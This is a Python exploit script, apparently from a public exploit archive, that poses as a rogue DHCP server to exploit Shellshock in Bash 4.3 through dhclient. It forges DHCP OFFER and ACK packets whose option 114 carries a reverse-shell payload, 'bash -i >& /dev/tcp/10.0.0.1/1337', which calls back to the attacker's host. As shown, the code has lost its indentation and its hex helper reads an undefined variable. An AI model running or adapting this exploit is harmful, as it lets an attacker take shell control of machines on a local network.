#!/usr/bin/python
# Exploit Title: dhclient shellshocker
# Google Dork: n/a
# Date: 10/1/14
# Exploit Author: @0x00string
# Vendor Homepage: gnu.org
# Software Link: http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
# Version: 4.3.11
# Tested on: Ubuntu 14.04.1
# CVE : CVE-2014-6277,CVE-2014-6278,CVE-2014-7169,CVE-2014-7186,CVE-2014-7187
# ______ ______ ______ _
# / __ | / __ |/ __ | _ (_)
#| | //| |_ _| | //| | | //| | ___| |_ ____ _ ____ ____ ___
#| |// | ( \ / ) |// | | |// | |/___) _) / ___) | _ \ / _ |/___)
#| /__| |) X (| /__| | /__| |___ | |__| | | | | | ( ( | |___ |
# \_____/(_/ \_)\_____/ \_____/(___/ \___)_| |_|_| |_|\_|| (___/
# (_____|
# _ _ _ _
# | | | | (_) _
# _ | | | _ ____| |_ ____ ____ | |_
# / || | || \ / ___) | |/ _ ) _ \| _)
#( (_| | | | ( (___| | ( (/ /| | | | |__
# \____|_| |_|\____)_|_|\____)_| |_|\___)
#
# _ _ _ _ _
# | | | | | | | | |
# ___| | _ ____| | | ___| | _ ___ ____| | _ ____ ____
# /___) || \ / _ ) | |/___) || \ / _ \ / ___) | / ) _ )/ ___)
#|___ | | | ( (/ /| | |___ | | | | |_| ( (___| |< ( (/ /| |
#(___/|_| |_|\____)_|_(___/|_| |_|\___/ \____)_| \_)____)_|
# this buddy listens for clients performing a DISCOVER, a later version will exploit periodic REQUESTs, which can sometimes be prompted by causing IP conflicts
# once a broadcast DISCOVER packet has been detected, the XID, MAC and requested IP are pulled from the pack and a corresponding OFFER and ACK are generated and pushed out
# The client is expected to reject the offer in preference of their known DHCP server, but will still process the packet, triggering the vulnerability.
# can use option 114, 56 or 61, though is hardcoded to use 114 as this is merely a quick and dirty example.
import socket, struct
def HexToByte( hexStr ):
b = []
h = ''.join( h.split(" ") )
for i in range(0, len(h), 2):
b.append( chr( int (h[i:i+2], 16 ) ) )
return ''.join( b )
rport = 68
lport = 67
bsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bsock.bind(("<broadcast>", lport))
while True:
OP = "72" # 56, Message - RFC 1533,2132. 61, Client-identifier - RFC 1533,2132,4361 or 114, URL - RFC 3679 are currently known to work, here we use 114
URL = "() { :;}; bash -i >& /dev/tcp/10.0.0.1/1337 0>&1".encode("hex")
URLLEN = chr(len(URL) / 2).encode("hex")
END = "03040a000001ff"
broadcast_get, (bcrhost, rport) = bsock.recvfrom(2048)
hexip = broadcast_get[245:249]
rhost = str(ord(hexip[0])) + "." + str(ord(hexip[1])) + "." + str(ord(hexip[2])) + "." + str(ord(hexip[3]))
XID = broadcast_get[4:8].encode("hex")
chaddr = broadcast_get[29:34].encode("hex")
print "[+]\tgot broadcast with XID " + XID + " requesting IP " + rhost + "\n"
OFFER = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010236040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END
OFFER_BYTES = HexToByte(OFFER)
ACK = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010536040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END
ACK_BYTES = HexToByte(ACK)
print "[+]\tsending evil offer\n"
sock.sendto(OFFER_BYTES, (rhost, rport))
broadcast_get2 = bsock.recvfrom(2048)
print "[+]\tassuming request was received, sending ACK\n"
sock.sendto(ACK_BYTES, (rhost, rport))
